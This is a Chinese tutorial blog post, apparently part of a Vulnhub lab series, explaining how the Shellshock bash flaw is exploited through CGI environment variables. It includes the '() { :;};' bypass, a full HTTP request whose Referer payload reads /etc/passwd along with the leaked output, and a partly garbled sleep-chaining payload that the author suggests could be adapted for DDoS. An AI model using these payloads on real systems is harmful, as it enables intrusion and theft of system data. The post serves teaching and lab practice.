【靶场补充】项目十二补充(shellshock原理)

补充:关于项目12shellshock原理以及与CGI的利用原理


靶场WP地址

🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月12日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


一句话原理

CGI的环境变量用可以执行命令的bash运行,而CGI又将UA头等信息作为可接收的环境变量,而环境变量又具有定义功能函数的作用,而在bash的函数声明中(也就是定义功能函数的语法)具有固定的格式,我们只需要利用UA等方式传入环境变量的字符串混淆绕过bash的函数声明的格式,再尾随一个payload,此时bash打着运行函数声明的名义而运行了payload。这就是shellshock

一、什么是shell?

Shell 这个单词的原意是“外壳”,跟 kernel(内核)相对应,比喻内核外面的一层,即用户跟内核交互的对话界面。

  1. 首先,Shell 是一个程序,提供一个与用户对话的环境。这个环境只有一个命令提示符,让用户从键盘输入命令,所以又称为命令行环境(command line interface,简写为 CLI)。Shell 接收到用户输入的命令,将命令送入操作系统执行,并将结果返回给用户。

  2. 其次,Shell 是一个命令解释器,解释用户输入的命令。它支持变量、条件判断、循环操作等语法,所以用户可以用 Shell 命令写出各种小程序,又称为脚本(script)。这些脚本都通过 Shell 的解释执行,而不通过编译。

  3. 最后,Shell 是一个工具箱,提供了各种小工具,供用户方便地使用操作系统的功能。

二、Shell 的种类

Shell 有很多种,只要能给用户提供命令行环境的程序,都可以看作是 Shell。
历史上,主要的 Shell 有下面这些。

Bourne Shell(sh)
Bourne Again shell(bash)
C Shell(csh)
TENEX C Shell(tcsh)
Korn shell(ksh)
Z Shell(zsh)
Friendly Interactive Shell(fish)

下面的命令可以查看当前设备的默认 Shell。

$ echo $SHELL

三、BASH

Bash允许输出Shell功能函数到其他bash程序。这是通过建立有功能函数定义的环境变量來做到。

env ENV_VAR_FN=() { <your function> };

bash是一个命令处理器, 运行在文本窗口中, 并能执行用户直接输入的命令.
bash还能从文件中读取Linux命令, 称之为脚本.
bash支持通配符, 管道, 命令替换, 条件判断等逻辑控制语句

四、CGI

  1. 首先服务器使用 Bash 来解释变量

CGI程序继承了系统的环境变量,CGI的环境变量,在CGI程序在启动时初始化,结束时销毁,当一个CGI程序不是被HTTP服务器调用时,其环境变量基本是系统的环境变量。当属于HTTP服务器调用时,他的环境变量就会多了以下关于HTTP服务器、客户端、CGI传输过程等项目。

  1. 也就是说CGI继承所有的系统环境变量,也可以自动的将外来的某些信息当作环境变量处理

下面这是CGI服务器所能接受的,来自客户端的环境变量,也就是说,来自于这些的文本,会被加载到环境变量中用而后用bash进行执行

在这里插入图片描述

使用GET方法

在该方法下,CGI程序无法直接从服务器的标准输入中获取数据,因为服务器把它从标准输入接收到得数据编码到环境变量QUERY_STRING(或PATH_INFO)。

五、特别的

看完了上面的所有内容,我们就应该有一个共识:(反复理解这句话)

基于CGI接口的网络服务很脆弱,因为他使用了一个可以执行命令的方式进行可以人为控制的变量的处理,而虽然这种可以执行命令的方式需要你的变量作为一种环境变量来存在但是他依然规定了可以通过一些用户可修改的信息(例如上图的ua头等)来将变量变成一个环境变量
没看懂不要紧,往下翻。

我们在CGI的运行过程中可以知道
Web服务器调用helloworld.cgi之前,会把各类HTTP请求中的信息以环境变量的方式写入OS。CGI程序本质是OS上一个普通的可执行程序,它通过语言本身库函数来获取环境变量,从而获得数据输入。

env ENV_VAR_FN=() { <your function> };’
env ENV_VAR_FN=() { <your function> }; <attacker code here>

通过这种方式,我们可以发送将被 CGI 的 Bash 环境接受的已编辑的 User-Agent **(也可以是其他可接受的环境变量头)**标头信息。
在这里插入图片描述

在这个CGI文件中,我们调用bash,那么在打开这个文件后,就可以看到shell shock Attack 的字样

这也就说明了CGI中的bash可以执行命令

六、shellshock

核心点:环境变量

那么我就围绕着bash对于环境变量来阐述:

再一次回顾这段话,我将这段话命名为A,其中加粗的部分将在下面的表格中引用

基于CGI接口的网络服务很脆弱,因为他使用了一个可以执行命令的方式进行可以人为控制的变量的处理,而虽然这种可以执行命令的方式需要你的变量作为一种环境变量来存在但是他依然规定了可以通过一些用户可修改的信息(例如上图的ua头等)来将变量变成一个环境变量

A中加粗的字解释
使用了一个可以执行命令的方式CGI利用BASH执行环境变量,并且BASH可以执行命令
进行可以人为控制的变量的处理变量由用户自己修改或定义
虽然这种可以执行命令的方式需要你的变量作为一种环境变量来存在环境变量才能用bash执行
但是他依然规定了可以通过一些用户可修改的信息(例如上图的ua头等)来将变量变成一个环境变量UA头默认是CGI接受的来自客户端传入的环境变量
问题答案
漏洞产生点bash的函数导出功能,也就是可以给别人用
工作原理与其他bash共享命令脚本
如何共享通过脚本编码到进程之间一个共享的表来共享使用
这个表是什么环境变量表
这个表有什么用其他进程会扫描这个表来查找脚本,组成命令
为什么有用这个新的bash无法验证环境变量中的脚本来源以及有否有害
我们如何利用想办法利用bash共享函数功能将payload传入环境变量,然后令bash运行
bash如何创建函数function foo() { echo “foo”; return 0; }
创建了函数有什么用由于在以前的bash版本中对于函数创建的语句清理不够,导致,如果可以绕过函数创建的语句,使其混淆中断的位置,而在创建语句后面尾随命令,那么就可以造成命令的执行
为什么说CGI最危险上面给出的图中说明了一些可以接受来自一些客户端的信息使之成为环境变量
接下来的思路混淆函数创建的语句,然后将命令尾随其后,放入CGI能接收并存储为环境变量的请求中,而在接收这个被当作环境变量的变量之后之后服务器将这个bash作为一个脚本存入环境变量,在下一次使用的时候,其中的代码将被执行
如何绕过() { :;};

下面是一个利用shellshock的实例,首先是请求头,在referer输入了payload

GET http://shellshock.testsparker.com/cgi-bin/netsparker.cgi HTTP/1.1
User-Agent: Netsparker
Host: shellshock.testsparker.com
Referer: () { :;}; echo "NS:" $(</etc/passwd)

HTTP/1.0 200 OK
Server: nginx/1.2.1
Date: Fri, 26 Sep 2014 11:22:43 GMT
Content-Type: text/html
NS: root:x:0:0:root:/root:/bin/bash
daemon: x:1:1:daemon:/usr/sbin:/bin/sh
bin: x:2:2:bin:/bin:/bin/sh
sys: x:3:3:sys:/dev:/bin/sh
sync: x:4:65534:sync:/bin:/bin/sync
games: x:5:60:games:/usr/games:/bin/sh
man: x:6:12:man:/var/cache/man:/bin/sh
lp: x:7:7:lp:/var/spool/lpd:/bin/sh
mail: x:8:8:mail:/var/mail:/bin/sh
news: x:9:9:news:/var/spool/news:/bin/sh
uucp: x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy: x:13:13:proxy:/bin:/bin/sh
www-data: x:33:33:www-data:/var/www:/bin/sh
backup: x:34:34:backup:/var/backups:/bin/sh
list: x:38:38:Mailing List Manager:/var/list:/bin/sh
irc: x:39:39:ircd:/var/run/ircd:/bin/sh
gnats: x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody: x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid: x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim: x:101:103::/var/spool/exim4:/bin/false
messagebus: x:102:106::/var/run/dbus:/bin/false
avahi: x:103:107:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
sshd: x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql: x:105:111:MySQL Server,,,:/nonexistent:/bin/false
Connection: close

七、实例payload

这是 代码 e 的行(一个 Bash 函数声明,后跟一个分号,‘sleep’ 命令从三个可能的路径运行以确保它被执行):

new_function() { :;} ; /bin/ 20 /sbin/sleep 20 | /usr/bin/sleep 20 

new_function 可以是新的创建函数,也可以是旧的函数,因为支持修改和新建,比如说改成我们熟悉的UA头即可

用这个payload加以加工可能可以实现DDOS攻击,尤其是在物联网发达的今天,如果存在4.3以下版本的bash,那么他就可能存在危险。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值